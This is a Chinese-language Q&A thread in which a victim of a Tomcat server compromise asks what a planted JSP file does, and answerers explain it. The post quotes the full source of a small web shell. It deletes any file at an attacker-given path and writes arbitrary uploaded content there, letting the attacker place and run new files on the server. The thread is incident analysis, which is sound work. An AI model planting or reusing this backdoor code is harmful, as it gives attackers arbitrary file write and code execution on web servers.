这段代码在做什么

时间:2013-11-27 13:16:08

标签: java jsp web

我有一个最近被利用的网络应用程序。服务器是tomcat 7.0.42。我在服务器上找到了我尚未上传的文件。你知道他们为什么出现吗?在这里,我向您展示其中一个文件的内容,有人可以告诉我它想要做什么吗?

<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>

<% int i=0; String method=request.getParameter("act"); if(method!=null && method.equals("yoco")) {
    String url=request.getParameter("url");
    String text=request.getParameter("smart");
    File f=new File(url);
    if(f.exists()) {
        f.delete();
    }
    try{
        OutputStream o=new FileOutputStream(f);
        o.write(text.getBytes());
        o.close();
    } catch (Exception e) {
        i++;
    %>0<%
    }
}
if(i==0){
    %>1<%
}%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">

3 个答案:

答案 0 :(得分:2)

这看起来像是一个为攻击者提供远程控制的rootkit。 他们正在为同一个JSP servlet创建一个表单。收到邮件请求后,将保留并处理通过POST请求发送给它的参数值;

String url=request.getParameter("url");
String text=request.getParameter("smart");

请注意,通过参数url收到的值保存在变量url中。然后,他们检查以确保参数值在删除之前作为文件存在 - 使用;

File f=new File(url);
if(f.exists()) {
   f.delete();
}

最后,第二个参数smart保存在参数text中。然后将其用作使用参数url作为文件路径创建的新文件的内容。

 OutputStream o=new FileOutputStream(f);
 o.write(text.getBytes());
 o.close();

答案 1 :(得分:2)

此代码采用名为url的参数和名为text的参数,获取text的内容并将其写入由{{1定义的Web服务器上的文件}}

基本上,客户端可以将任意文本上传到Web /应用程序服务器上可写的任何文件。

听起来就像发生的那样。

答案 2 :(得分:2)

这是将新文件写入服务器的方法。

这个小的.jsp会处理一个GET请求,如果有一个&#39; yoco&#39;并且&#39; url&#39;,它会尝试删除网址上的文件,然后尝试将该内容写入url参数的文件中。

写入文件后,可以运行该文件,键入该文件的位置。

如果成功则输出1,如果尝试写入文件失败则输出0。